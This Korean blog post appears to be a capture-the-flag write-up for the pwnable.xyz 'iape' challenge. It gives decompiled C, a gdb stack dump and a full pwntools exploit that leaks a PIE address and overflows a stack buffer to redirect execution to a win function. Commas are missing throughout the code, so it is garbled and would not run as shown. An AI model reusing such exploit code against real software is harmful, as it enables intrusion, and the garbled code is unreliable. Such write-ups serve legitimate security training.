본문으로 바로가기

pwnable.xyz / iape

category Wargame/pwnable.xyz 2020. 1. 16. 17:33
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int menu// eax
  char buf[1024]// [rsp+10h] [rbp-400h]

  setup();
  memset(buf00x400uLL);

  while ( 1 )
  {
    print_menu();
    menu = read_int32();

    switch ( menu )
    {
      case 1:
        printf("data: ");
        fgets(buf0x80stdin);
        break;

      case 2:
        append(buf);
        break;

      case 3:
        printf("Your message: %s\n"buf);
        break;

      case 0:
        return 0;

      default:
        puts("Invalid");
    }
  }
}

 

1번 메뉴에서 buf 에 최대 128바이트 크기의 문자열을 쓸 수 있다.

 

void __fastcall append(char *src)
{
  char buf[16]// [rsp+10h] [rbp-20h]
  int r// [rsp+2Ch] [rbp-4h]

  r = rand() % 16;
  printf("Give me %d chars: "r);
  read(0bufr);
  strncat(srcbufr);
}

 

2번 메뉴로 append 함수를 실행해서 길이 제한 없이 문자열의 크기를 늘릴 수 있다.

main 함수의 스택에서 return address를 win 으로 바꾸면 되는데, 바이너리가 PIE로 컴파일되었기 때문에 주소를 알아내야 할 필요가 있다.

 

gdb-peda$ sd
[------------------------------------stack-------------------------------------]
Function append:
0000| 0x7ffdf5fd34c0 --> 0x0 
0008| 0x7ffdf5fd34c8 --> 0x7ffdf5fd3510 --> 0x0 
0016| 0x7ffdf5fd34d0 --> 0x0 
0024| 0x7ffdf5fd34d8 --> 0x5624d3a2fbc2 (<read_int32+64>:       leave)
0032| 0x7ffdf5fd34e0 --> 0xa32 ('2\n')
0040| 0x7ffdf5fd34e8 --> 0x800000000

 

append 함수의 stack frame을 살펴보면 rbp-0x18read_int32+64 값이 저장되어 있다.

main 에서 read_int32 를 호출할 때 atoi 함수에서 사용된 값이 남아있는 것이다.

 

rand 함수의 리턴값이 14 이상이 되면 strncat 함수에서 read_int32+64 값을 붙여서 buf 에 들어가게 할 수 있다.

main 에서 buf 를 출력하면서 해당 값을 알아낼 수 있고, 이를 통해 win 의 주소값도 알아낼 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))

def log_error(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))

def Init(data:bytes) :
    p.writeafter(b'> 'b'1')
    p.writelineafter(b': ', data)

def Append(callback, *args) :
    p.writeafter(b'> 'b'2')
    p.readuntil(b'Give me ')
    size = int(p.readuntil(b' ')[:-1])
    return callback(size, *args)

def Print() :
    p.writeafter(b'> 'b'3')
    p.readuntil(b': ')
    return p.readuntil(b'Menu')[:-5]

def exploit() :
    def AppendCallback(size, *args) :
        if size == 0 :
            return
        elif size < 0xE :
            p.writeafter(b': 'b'A')
        else :
            p.writeafter(b': 'b'A'*8)
            r = Print()
            return u64(r[10:16].ljust(8b'\x00')) - 0xBC2

    while True :
        Init(b'A')
        image_base = Append(AppendCallback)

        if image_base :
            if image_base <= 0x550000000000 :
                log_error('Failed to find image base address')
                exit(1)

            win = image_base + 0xB57

            log_info('image base address: '+hex(image_base))
            log_info('win = '+hex(win))

            break

    def AppendCallback(size, *args) :
        payload, begin = args[0], args[1]
        end = min(begin+size, 0x40E)

        if size != 0 :
            p.writeafter(b': ', payload[begin:end])

        return end

    Init(b'#')

    payload = b'A'*0x406
    payload += p64(win+4)
    pos = 0

    while True :
        pos = Append(AppendCallback, payload, pos)

        if pos == 0x40E :
            break

    p.writeafter(b'> 'b'0')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30014)
    else :
        p = process('./challenge')

    exploit()

 

 

 

 

Last update: 2/9/2021

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / message  (0) 2020.01.17
pwnable.xyz / UAF  (0) 2020.01.17
pwnable.xyz / strcat  (0) 2020.01.16
pwnable.xyz / J-U-M-P  (0) 2020.01.15
pwnable.xyz / SUS  (0) 2020.01.14